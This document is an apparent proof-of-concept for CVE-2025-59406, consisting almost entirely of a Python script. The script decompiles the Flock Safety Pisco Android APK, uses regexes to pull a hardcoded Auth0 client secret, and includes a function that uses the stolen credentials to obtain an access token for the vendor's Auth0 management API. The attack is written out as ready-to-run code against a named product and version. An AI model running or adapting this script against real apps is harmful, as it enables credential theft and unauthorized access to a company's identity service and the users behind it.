CVE-2025-59406 Flock Safety Pisco Android应用Auth0密钥明文泄露

# CVE-2025-59406 PoC - Extract Auth0 Client Secret from Flock Safety Pisco APK # This PoC demonstrates how to extract the hardcoded Auth0 client secret import subprocess import re import os def extract_auth0_secret(apk_path): """ Extract Auth0 client secret from Flock Safety Pisco Android APK """ # Step 1: Decompile APK using jadx or apktool output_dir = "decompiled_pisco" # Using jadx for decompilation cmd = f"jadx -d {output_dir} {apk_path}" subprocess.run(cmd, shell=True) # Step 2: Search for Auth0 configuration patterns in decompiled source auth0_patterns = [ r'client_secret["\s:=]+["\']([A-Za-z0-9_-]+)["\']', r'AUTH0_CLIENT_SECRET["\s:=]+["\']([A-Za-z0-9_-]+)["\']', r'com\.auth0\.client\.secret["\s:=]+["\']([A-Za-z0-9_-]+)["\']', r'"client_secret"\s*:\s*"([A-Za-z0-9_-]+)"', ] secrets_found = [] # Step 3: Walk through decompiled files and search for secrets for root, dirs, files in os.walk(output_dir): for file in files: if file.endswith(('.java', '.kt', '.json', '.xml', '.properties')): filepath = os.path.join(root, file) with open(filepath, 'r', errors='ignore') as f: content = f.read() for pattern in auth0_patterns: matches = re.findall(pattern, content) for match in matches: secrets_found.append({ 'file': filepath, 'secret': match }) return secrets_found def exploit_auth0_secret(client_id, client_secret, domain): """ Use extracted credentials to perform unauthorized Auth0 operations """ import requests # Attempt to obtain access token using stolen client credentials token_url = f"https://{domain}/oauth/token" payload = { 'grant_type': 'client_credentials', 'client_id': client_id, 'client_secret': client_secret, 'audience': f'https://{domain}/api/v2/' } response = requests.post(token_url, json=payload) if response.status_code == 200: token = response.json().get('access_token') print(f"[+] Successfully obtained access token: {token[:20]}...") return token else: print(f"[-] Failed to obtain token: {response.text}") return None # Usage if __name__ == "__main__": apk_path = "com.flocksafety.android.pisco_6.21.11.apk" secrets = extract_auth0_secret(apk_path) for secret_info in secrets: print(f"[!] Found Auth0 secret in {secret_info['file']}") print(f" Secret: {secret_info['secret']}") # Example: Use the extracted secret # token = exploit_auth0_secret(client_id, client_secret, 'flocksafety.auth0.com')